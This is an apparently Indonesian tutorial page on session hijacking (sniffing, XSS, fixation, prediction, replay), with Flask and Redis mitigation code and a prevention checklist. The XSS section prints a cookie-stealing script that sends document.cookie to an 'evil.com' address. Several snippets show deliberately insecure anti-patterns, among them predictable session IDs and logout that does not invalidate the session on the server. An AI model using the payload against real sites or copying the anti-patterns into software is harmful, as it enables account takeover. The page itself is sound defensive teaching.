Session Hijacking #

Session hijacking adalah serangan di mana attacker berhasil mendapatkan session identifier milik user lain dan menggunakannya untuk mengakses aplikasi seolah-olah mereka adalah user tersebut. Tidak perlu username. Tidak perlu password. Tidak perlu bypass MFA. Cukup dengan session token yang valid, server memperlakukan attacker sebagai user yang sah — karena dari perspektif server, memang tidak ada cara membedakannya.

Inilah yang membuat session hijacking sangat berbahaya: seluruh infrastruktur autentikasi yang sudah dibangun dengan susah payah — password hashing, MFA, rate limiting — bisa dibypass sepenuhnya jika session management-nya buruk. Engineer yang membangun flow autentikasi yang sempurna tapi tidak memperhatikan lifecycle session telah membangun tembok yang kokoh dengan pintu belakang yang terbuka.

Mengapa Session adalah Target yang Berharga #

HTTP adalah protokol yang stateless — setiap request berdiri sendiri, server tidak ingat request sebelumnya. Session adalah solusi untuk masalah ini: setelah user berhasil login, server menerbitkan token (session ID) yang digunakan user untuk membuktikan identitasnya di setiap request berikutnya.

Lifecycle sebuah session:

  1. User kirim credential (username + password + MFA)
  2. Server verifikasi credential
  3. Server generate session ID yang kuat secara kriptografis
  4. Session ID disimpan di server (database/Redis) dengan:
     - User ID yang terasosiasi
     - Waktu dibuat
     - Waktu terakhir aktif
     - Metadata (IP, User-Agent, dll)
  5. Session ID dikirim ke browser via cookie
  6. Di setiap request berikutnya:
     - Browser kirim cookie secara otomatis
     - Server lookup session ID → dapatkan user context
     - Server proses request sebagai user tersebut
  7. Session berakhir saat:
     - User logout (server invalidasi session)
     - Idle timeout terlewati
     - Absolute timeout tercapai

  Session ID = proxy untuk identitas user setelah autentikasi
  Siapapun yang memegang session ID valid = dianggap sebagai user itu
flowchart LR
    A[User Login] --> B[Server Verifikasi]
    B --> C[Generate Session ID]
    C --> D[(Store: Redis/DB\nuser_id, created_at\nlast_active, metadata)]
    C --> E[Set-Cookie: session=ID]
    E --> F[Browser]
    F --> G[Subsequent Request\nCookie: session=ID]
    G --> H[Server Lookup\nSession ID]
    H --> I[Auth Context\nDapatkan user]
    I --> J[Process Request]

Setiap komponen dalam lifecycle ini adalah potensi attack vector. Session ID yang bisa disadap, ditebak, atau dipindahkan ke konteks lain — semua membuka pintu untuk hijacking.


Lima Jenis Session Hijacking #

1. Session Sniffing #

Session sniffing terjadi ketika attacker menangkap traffic jaringan dan mengekstrak session token dari HTTP request yang tidak terenkripsi.

Skenario session sniffing di jaringan publik:

  User di coffee shop terhubung ke WiFi bersama
  ↓
  Attacker di jaringan yang sama menjalankan Wireshark atau tcpdump
  ↓
  User membuka http://app.contoh.com (bukan HTTPS!)
  ↓
  Browser mengirim request:
    GET /dashboard HTTP/1.1
    Host: app.contoh.com
    Cookie: session=eyJhbGciOiJIUzI1NiJ9...

  ↓
  Attacker melihat packet ini di Wireshark
  ↓
  Attacker copy cookie value dan set di browser mereka
  ↓
  Attacker akses app.contoh.com dengan session korban
  → Account takeover tanpa perlu tahu password

Pencegahan:
  1. HTTPS wajib untuk semua halaman
  2. HSTS header: browser wajib HTTPS untuk domain ini
  3. Secure flag pada cookie: cookie tidak dikirim via HTTP
# Nginx — HTTPS redirect dan HSTS
server {
    listen 80;
    server_name app.contoh.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name app.contoh.com;

    # HSTS — paksa HTTPS selama 1 tahun, termasuk subdomain
    add_header Strict-Transport-Security
        "max-age=31536000; includeSubDomains; preload" always;

    # Konfigurasi SSL lainnya...
}

2. XSS-based Session Hijacking #

Jika ada celah XSS di aplikasi dan session cookie tidak menggunakan HttpOnly, attacker bisa mencuri session token melalui JavaScript.

// Payload XSS yang mencuri session cookie
// Disisipkan attacker di form komentar atau input lain yang rentan

<script>
// Ambil semua cookie yang tidak HttpOnly
const stolen = document.cookie;

// Kirim ke server attacker
new Image().src = 'https://evil.com/steal?data=' +
  encodeURIComponent(stolen) +
  '&url=' + encodeURIComponent(location.href);
</script>

// Dengan session token yang diterima, attacker bisa:
// 1. Set cookie di browser mereka
// 2. Akses aplikasi sebagai korban

// Pencegahan:
// - HttpOnly cookie: document.cookie tidak mengandung session token
// - CSP: membatasi script yang bisa jalan dan tujuan fetch
// - Fix XSS di aplikasi

3. Session Fixation #

Session fixation adalah serangan yang lebih canggih. Alih-alih mencuri session yang sudah ada, attacker menentukan session ID yang akan digunakan korban sebelum mereka login — kemudian menggunakan session yang sama setelah korban berhasil login.

sequenceDiagram
    participant A as Attacker
    participant V as Victim
    participant S as Server

    A->>S: GET /login
    S->>A: Set-Cookie: session=ATTACKER_KNOWN_ID

    Note over A: Attacker tahu session ID ini

    A->>V: Kirim link: https://app.com/login?sid=ATTACKER_KNOWN_ID
    Note over V: Atau via link yang mengeset cookie

    V->>S: GET /login (Cookie: session=ATTACKER_KNOWN_ID)
    V->>S: POST /login {email, password}
    S->>S: Verifikasi credential ✓
    S->>S: ✗ Tidak regenerasi session ID!
    S->>V: 200 OK (masih pakai session ATTACKER_KNOWN_ID)

    Note over A: Attacker tahu session ID korban!

    A->>S: GET /dashboard (Cookie: session=ATTACKER_KNOWN_ID)
    S->>A: 200 OK — Attacker masuk sebagai Victim!
# ANTI-PATTERN: tidak regenerasi session ID setelah login
@app.route('/login', methods=['POST'])
def login():
    email = request.form['email']
    password = request.form['password']
    user = verify_credentials(email, password)

    if user:
        # ✗ Session ID tetap sama — session fixation vulnerable!
        session['user_id'] = user.id
        session['logged_in'] = True
        return redirect('/dashboard')

# BENAR: selalu regenerasi session ID setelah login berhasil
@app.route('/login', methods=['POST'])
def login():
    email = request.form['email']
    password = request.form['password']
    user = verify_credentials(email, password)

    if user:
        # Simpan data yang perlu dibawa
        old_flash_messages = session.get('flash_messages', [])

        # ✓ Buat session baru yang berbeda — hapus yang lama
        session.clear()                    # hapus session lama sepenuhnya
        session.regenerate()              # atau gunakan method regenerate jika tersedia

        # Set data session baru
        session['user_id'] = user.id
        session['logged_in'] = True
        session['created_at'] = datetime.utcnow().isoformat()
        session['ip_at_login'] = request.remote_addr
        session['ua_at_login'] = request.user_agent.string

        # Kembalikan flash messages jika perlu
        session['flash_messages'] = old_flash_messages

        return redirect('/dashboard')

4. Session Prediction #

Jika session ID tidak dibuat dengan cara yang kriptografis aman, attacker bisa mencoba menebaknya secara brute force atau menemukan polanya.

# ANTI-PATTERN: session ID yang bisa ditebak
import random
import time

def generate_session_id_unsafe():
    # Berbasis waktu — sequential dan predictable
    return str(int(time.time()))

def generate_session_id_unsafe_2():
    # Random biasa — tidak kriptografis, bisa diprediksi dengan seed yang sama
    return str(random.randint(100000, 999999))

def generate_session_id_unsafe_3():
    # MD5 dari user info — bisa di-reverse atau di-rainbow-table
    return hashlib.md5(f"{user_id}{email}".encode()).hexdigest()

# BENAR: session ID yang kriptografis aman
import secrets

def generate_session_id():
    # 32 byte = 256 bit entropy
    # URL-safe base64 encoding → string yang aman untuk cookie
    return secrets.token_urlsafe(32)

# Verifikasi kekuatan session ID:
# secrets.token_urlsafe(32) menghasilkan ~43 karakter
# Entropy: 256 bit
# Kemungkinan brute force: 2^256 ≈ 10^77 kombinasi
# Dengan 1 miliar attempt per detik: butuh lebih dari umur alam semesta

5. Session Replay #

Session replay terjadi ketika session yang seharusnya sudah tidak valid — karena user logout, session expired, atau user sudah di lokasi berbeda — masih bisa digunakan karena server tidak memvalidasinya dengan benar.

Skenario session replay:

  Attacker mendapat session token korban (via XSS, sniffing, dll)
  Korban logout dari aplikasi
  ↓
  Server hanya hapus cookie di client (response.delete_cookie)
  Server TIDAK menginvalidasi session di backend
  ↓
  Attacker masih punya token yang lama
  Attacker set cookie secara manual di browser
  Attacker akses aplikasi → server lookup token → masih valid!
  → Account masih bisa diakses meski korban sudah logout

  Pencegahan:
  Logout harus invalidasi session di server, tidak hanya di client
# ANTI-PATTERN: logout hanya hapus cookie
@app.route('/logout')
def logout_unsafe():
    response = make_response(redirect('/login'))
    response.delete_cookie('session')  # hanya hapus di client
    return response
    # Session di Redis/DB masih ada dan masih valid!

# BENAR: invalidasi session di server DAN hapus cookie
@app.route('/logout')
def logout_safe():
    session_token = request.cookies.get('session')

    if session_token:
        # Hapus session dari storage backend
        redis_client.delete(f"session:{session_token}")
        # Atau jika pakai database:
        # Session.query.filter_by(token=session_token).delete()

    response = make_response(redirect('/login'))
    response.set_cookie(
        'session', '',
        expires=0,
        httponly=True,
        secure=True,
        samesite='Lax'
    )
    return response

Implementasi Session Management yang Benar #

Session Store yang Aman #

Session sebaiknya disimpan di backend store (Redis, database) — bukan hanya di cookie. Ini memungkinkan server untuk menginvalidasi session kapan saja.

import redis
import secrets
from datetime import datetime, timedelta

redis_client = redis.Redis(host='localhost', port=6379, db=0)

SESSION_TTL_SECONDS = 3600 * 8   # 8 jam absolute timeout
IDLE_TTL_SECONDS = 1800           # 30 menit idle timeout

def create_session(user_id, request):
    session_token = secrets.token_urlsafe(32)

    session_data = {
        'user_id': str(user_id),
        'created_at': datetime.utcnow().isoformat(),
        'last_active': datetime.utcnow().isoformat(),
        'ip': request.remote_addr,
        'user_agent': request.user_agent.string[:200],  # limit panjang
    }

    # Simpan di Redis dengan TTL
    redis_client.hset(f"session:{session_token}", mapping=session_data)
    redis_client.expire(f"session:{session_token}", SESSION_TTL_SECONDS)

    return session_token

def get_session(session_token, request):
    if not session_token:
        return None

    data = redis_client.hgetall(f"session:{session_token}")
    if not data:
        return None

    # Decode bytes ke string
    session = {k.decode(): v.decode() for k, v in data.items()}

    # Cek idle timeout
    last_active = datetime.fromisoformat(session['last_active'])
    if (datetime.utcnow() - last_active).seconds > IDLE_TTL_SECONDS:
        invalidate_session(session_token)
        return None

    # Perbarui last_active (rolling timeout)
    redis_client.hset(f"session:{session_token}", 'last_active',
                      datetime.utcnow().isoformat())

    return session

def invalidate_session(session_token):
    redis_client.delete(f"session:{session_token}")

def invalidate_all_sessions(user_id):
    """Logout dari semua device — berguna setelah password reset"""
    # Scan semua session key (di production, maintain set of user's sessions)
    # Atau simpan daftar session per user di Redis set
    user_sessions = redis_client.smembers(f"user_sessions:{user_id}")
    for token in user_sessions:
        redis_client.delete(f"session:{token.decode()}")
    redis_client.delete(f"user_sessions:{user_id}")

Binding Session ke Konteks User #

Mengikat session ke konteks spesifik user menambahkan lapisan perlindungan: bahkan jika token dicuri, penggunaan dari konteks yang berbeda akan dideteksi.

def validate_session_context(session, request):
    """
    Validasi bahwa request berasal dari konteks yang sama
    dengan saat session dibuat.
    """
    # Cek User-Agent
    current_ua = request.user_agent.string
    session_ua = session.get('user_agent', '')

    # Perbandingan fleksibel — UA bisa berubah karena update browser
    # tapi perubahan drastis (Chrome → Firefox) mencurigakan
    if not user_agents_similar(current_ua, session_ua):
        log_suspicious_session(session, request, 'user_agent_mismatch')
        # Opsi: invalidasi session atau minta re-auth
        return False

    # Cek perubahan IP address (opsional dan hati-hati)
    # IP bisa berubah secara legitimate (mobile network switch, VPN)
    # Jangan langsung invalidasi — gunakan untuk scoring risiko saja
    current_ip = request.remote_addr
    session_ip = session.get('ip', '')

    if current_ip != session_ip:
        # Log sebagai anomali, tapi jangan langsung blokir
        log_suspicious_session(session, request, 'ip_changed')
        # Pertimbangkan risk scoring di sini

    return True

def user_agents_similar(ua1, ua2):
    """Cek apakah dua user agent dari browser yang sama."""
    import re
    # Extract browser name saja (Chrome, Firefox, Safari, dll)
    browser_pattern = r'(Chrome|Firefox|Safari|Edge|Opera)'
    browser1 = re.search(browser_pattern, ua1)
    browser2 = re.search(browser_pattern, ua2)
    if browser1 and browser2:
        return browser1.group(1) == browser2.group(1)
    return True  # tidak bisa dibandingkan, anggap OK

Deteksi Anomali Session #

Monitoring aktif terhadap pola penggunaan session yang tidak normal adalah lapisan deteksi yang penting.

# Pola anomali yang perlu dideteksi:

def detect_session_anomalies(session_token, request):
    session = get_session(session_token, request)
    if not session:
        return

    anomalies = []

    # 1. Deteksi concurrent session dari lokasi berbeda secara bersamaan
    active_locations = get_active_locations_for_user(session['user_id'])
    current_location = get_geo_from_ip(request.remote_addr)
    if len(active_locations) > 1 and current_location not in active_locations:
        anomalies.append({
            'type': 'concurrent_location',
            'detail': f"Session aktif dari {active_locations} dan {current_location}"
        })

    # 2. Deteksi penggunaan session dari geografis yang tidak mungkin
    # (login dari Jakarta, 5 menit kemudian dari New York)
    last_location = session.get('last_known_location')
    if last_location and is_impossible_travel(
        last_location, current_location,
        time_diff_minutes=5  # 5 menit tidak cukup untuk pindah benua
    ):
        anomalies.append({
            'type': 'impossible_travel',
            'detail': f"Dari {last_location} ke {current_location} dalam waktu singkat"
        })

    # 3. Deteksi akses di luar jam normal user
    user_timezone = session.get('timezone')
    local_hour = get_local_hour(user_timezone)
    if local_hour < 4 or local_hour > 23:  # aktivitas antara 00:00-04:00 lokal
        anomalies.append({
            'type': 'unusual_hour',
            'detail': f"Aktivitas pada {local_hour}:00 waktu lokal user"
        })

    if anomalies:
        for anomaly in anomalies:
            log_security_event('session_anomaly', {
                'session_token_hash': hash_token(session_token),
                'user_id': session['user_id'],
                'anomaly': anomaly,
                'request_ip': request.remote_addr
            })

        # Trigger action berdasarkan severity
        if any(a['type'] == 'impossible_travel' for a in anomalies):
            # Langsung invalidasi session — ini sangat mencurigakan
            invalidate_session(session_token)
            send_security_alert_email(session['user_id'], anomalies)
        else:
            # Minta re-autentikasi (step-up authentication)
            flag_session_for_reauth(session_token)

Concurrent Session Control #

Membatasi berapa banyak session aktif yang boleh dimiliki satu user adalah cara efektif untuk mendeteksi dan membatasi dampak session hijacking.

MAX_CONCURRENT_SESSIONS = 3

def create_session_with_limit(user_id, request):
    # Dapatkan semua session aktif user ini
    user_sessions_key = f"user_sessions:{user_id}"
    active_sessions = redis_client.smembers(user_sessions_key)

    # Jika sudah mencapai limit, hapus yang paling lama
    if len(active_sessions) >= MAX_CONCURRENT_SESSIONS:
        # Cari session tertua
        oldest_token = None
        oldest_time = None

        for token in active_sessions:
            session_data = redis_client.hget(f"session:{token.decode()}", 'created_at')
            if session_data:
                created = datetime.fromisoformat(session_data.decode())
                if oldest_time is None or created < oldest_time:
                    oldest_time = created
                    oldest_token = token.decode()

        if oldest_token:
            # Invalidasi session tertua
            invalidate_session(oldest_token)
            redis_client.srem(user_sessions_key, oldest_token)

    # Buat session baru
    session_token = create_session(user_id, request)

    # Track session ini untuk user
    redis_client.sadd(user_sessions_key, session_token)
    redis_client.expire(user_sessions_key, SESSION_TTL_SECONDS)

    return session_token

def get_user_active_sessions(user_id):
    """Untuk fitur 'kelola device aktif' yang ditampilkan ke user."""
    user_sessions_key = f"user_sessions:{user_id}"
    session_tokens = redis_client.smembers(user_sessions_key)

    sessions = []
    for token in session_tokens:
        data = redis_client.hgetall(f"session:{token.decode()}")
        if data:
            sessions.append({
                'token_last4': token.decode()[-4:],
                'created_at': data.get(b'created_at', b'').decode(),
                'last_active': data.get(b'last_active', b'').decode(),
                'ip': data.get(b'ip', b'').decode(),
                'user_agent': data.get(b'user_agent', b'').decode()[:50],
            })

    return sessions

Session Expiration yang Benar #

Dua jenis timeout harus diterapkan bersama, bukan memilih salah satu:

# Perbedaan idle timeout dan absolute timeout:

# Idle timeout:
# → Session expired jika tidak ada aktivitas selama N menit
# → Melindungi dari sesi yang ditinggalkan (user lupa logout)
# → Bisa diperpanjang dengan aktivitas (sliding timeout)
IDLE_TIMEOUT = timedelta(minutes=30)

# Absolute timeout:
# → Session expired N jam setelah dibuat, apapun yang terjadi
# → Memaksa re-autentikasi secara periodik
# → Membatasi window jika session sudah dikompromikan tanpa diketahui
ABSOLUTE_TIMEOUT = timedelta(hours=8)

def check_session_validity(session):
    now = datetime.utcnow()

    # Cek absolute timeout
    created_at = datetime.fromisoformat(session['created_at'])
    if (now - created_at) > ABSOLUTE_TIMEOUT:
        return False, 'absolute_timeout'

    # Cek idle timeout
    last_active = datetime.fromisoformat(session['last_active'])
    if (now - last_active) > IDLE_TIMEOUT:
        return False, 'idle_timeout'

    return True, None

Anti-Pattern yang Harus Dihindari #

# ✗ Anti-pattern 1: session ID yang tidak kriptografis aman
session_id = str(user.id) + str(int(time.time()))
# Sequential, predictable → bisa ditebak

# ✗ Anti-pattern 2: tidak regenerasi session ID setelah login
# Session fixation vulnerability

# ✗ Anti-pattern 3: session tanpa expiry
redis_client.hset(f"session:{token}", mapping=data)
# Tidak ada TTL → session berlaku selamanya → window hijacking tak terbatas

# ✗ Anti-pattern 4: logout tidak invalidasi di server
response.delete_cookie('session')  # hanya hapus client-side

# ✗ Anti-pattern 5: session ID panjang tapi disimpan di URL
# /dashboard?session=eyJhbGc...
# URL tersimpan di browser history, server log, referrer header

# ✗ Anti-pattern 6: tidak ada monitoring anomali
# Session yang dikompromikan tidak terdeteksi sampai user lapor

# ✗ Anti-pattern 7: semua session user dibiarkan aktif setelah password change
# Jika password diubah karena dikompromikan, semua session harus diinvalidasi
def change_password(user_id, new_password):
    update_password(user_id, new_password)
    # ✗ Lupa invalidasi semua session yang ada!
    # Attacker yang sudah punya session masih bisa akses

# ✓ Benar:
def change_password_safe(user_id, new_password, current_session_token):
    update_password(user_id, new_password)
    # Invalidasi semua session kecuali yang sedang aktif (opsional)
    invalidate_all_sessions_except(user_id, current_session_token)
    send_notification(user_id, 'password_changed_all_devices_logged_out')

Checklist Session Hijacking Prevention #

SESSION GENERATION:
  □ Session ID menggunakan CSPRNG (secrets.token_urlsafe / SecureRandom)
  □ Minimal 128-bit entropy (16 byte / 22 karakter base64url)
  □ Session ID tidak mengandung informasi yang bisa ditebak (user ID, waktu)
  □ Session ID tidak pernah muncul di URL — selalu via cookie

COOKIE SECURITY:
  □ HttpOnly: true — tidak bisa diakses JavaScript
  □ Secure: true — hanya dikirim via HTTPS
  □ SameSite: Lax atau Strict — perlindungan CSRF
  □ Max-Age/Expires: session tidak berlaku selamanya

SESSION LIFECYCLE:
  □ Session ID di-regenerasi setelah login berhasil
  □ Session ID di-regenerasi setelah privilege escalation
  □ Idle timeout dikonfigurasi (30 menit adalah titik awal yang wajar)
  □ Absolute timeout dikonfigurasi (8 jam untuk aplikasi bisnis)
  □ Logout menginvalidasi session di server, tidak hanya hapus cookie
  □ Password change menginvalidasi semua session aktif

SESSION STORAGE:
  □ Session disimpan di backend (Redis/DB), bukan hanya di cookie
  □ Session menyimpan metadata: created_at, last_active, IP, User-Agent
  □ Session bisa diinvalidasi per-token dari server kapan saja

ANOMALY DETECTION:
  □ Concurrent login dari lokasi yang secara fisik tidak mungkin terdeteksi
  □ Perubahan User-Agent yang drastis di-log
  □ Aktivitas di luar jam normal user dicatat
  □ Alert dikirim ke user untuk aktivitas yang mencurigakan

CONCURRENT SESSION:
  □ Ada batas maksimum session aktif per user
  □ User bisa melihat dan mencabut session aktif mereka
  □ API untuk "logout dari semua device" tersedia

HTTPS:
  □ TLS aktif di semua environment (termasuk staging)
  □ HTTP redirect ke HTTPS untuk semua request
  □ HSTS header aktif dengan durasi yang panjang

Ringkasan #

  • Session adalah proxy untuk identitas — siapapun yang memegang session ID valid dianggap sebagai user oleh server. Ini menjadikannya target utama attacker yang ingin bypass autentikasi.
  • Lima vektor hijacking yang berbeda membutuhkan mitigasi yang berbeda — sniffing (HTTPS + Secure cookie), XSS (HttpOnly + CSP), fixation (regenerasi session ID), prediction (CSPRNG), replay (invalidasi server-side saat logout).
  • Session ID harus dibuat dengan CSPRNGsecrets.token_urlsafe(32) di Python, crypto.randomBytes(32) di Node.js. Bukan random biasa, bukan timestamp, bukan MD5 dari user data.
  • Regenerasi session ID setelah login adalah wajib — ini satu-satunya cara mencegah session fixation. Buat session baru yang sama sekali berbeda setelah kredensial diverifikasi.
  • Dua jenis timeout harus diterapkan bersamaan — idle timeout memproteksi session yang ditinggalkan, absolute timeout memaksa re-autentikasi periodik meski session terus digunakan.
  • Logout harus invalidasi di server, bukan hanya hapus cookie — cookie yang dihapus di client tidak mencegah replay attack jika session di backend masih valid.
  • Password change harus invalidasi semua session — jika password diubah karena dikompromikan, session attacker yang sudah ada harus ikut dihapus.
  • Binding session ke konteks menambahkan lapisan perlindungan — perubahan drastis User-Agent atau lokasi yang secara fisik tidak mungkin dalam waktu singkat adalah sinyal hijacking.
  • Concurrent session limit melindungi dan memberi visibilitas — membatasi jumlah session aktif sekaligus memungkinkan user melihat dan mencabut akses yang tidak dikenali.
  • Session management yang benar adalah fondasi semua mekanisme autentikasi lainnya — MFA, password kuat, dan rate limiting sia-sia jika session bisa dibajak.

← Sebelumnya: Http Only Cookie   Berikutnya: CSRF →

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact